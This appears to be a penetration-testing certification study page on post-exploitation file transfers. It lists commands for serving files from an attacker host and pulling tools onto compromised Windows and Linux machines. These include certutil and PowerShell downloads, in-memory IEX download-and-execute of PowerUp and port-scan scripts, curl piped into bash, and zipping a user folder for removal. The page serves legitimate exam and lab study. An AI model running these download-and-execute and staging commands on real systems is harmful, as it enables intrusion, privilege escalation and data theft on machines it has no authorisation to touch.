> For the complete documentation index, see [llms.txt](https://oscp.adot8.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://oscp.adot8.com/post-exploitation/file-transfers.md).

# File Transfers

## Hosting files

```bash
python -m SimpleHTTPServer 80
```

```bash
python -m pyftpdlib -p 21 --write
```

```bash
smbserver.py share `pwd` -smb2support
```

## Transfering via Windows Machine

```powerquery
certutil.exe -urlcache -f http://10.10.14.8/PowerUp.ps1 
```

```powerquery
curl http://10.10.14.8/PowerUp.ps1 -O PowerUp.ps1
```

```powerquery
powershell.exe Invoke-WebRequest http://10.10.14.8/PowerUp.ps1 -OutFile PowerUp.ps1

powershell.exe -command iwr -Uri  http://10.10.14.8/PowerUp.ps1 -OutFile C:\Temp\PowerUp.ps1 "
```

A .ps1 script can be ran in memory instead of being saved to the disk using **iex**

<pre class="language-powerquery"><code class="lang-powerquery"><strong>powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.6/PowerUp.ps1');Invoke-Allchecks"
</strong></code></pre>

```
IEX(New-Object Net.WebClient).downloadString('http://10.10.14.6/Invoke-Portscan.ps1')
```

Compress folder into zip before downloading

```powershell
Compress-Archive -Path C:\Users\nikk37\ -DestinationPath 1.zip
```

## Transfering via Linux Machine

```bash
wget http://10.10.14.8/linPEAS.sh 
```

```bash
curl http://10.10.14.8/linPEAS.sh -o linPEAS.sh
```

```bash
curl http://10.10.14.6/linenum.sh | bash
```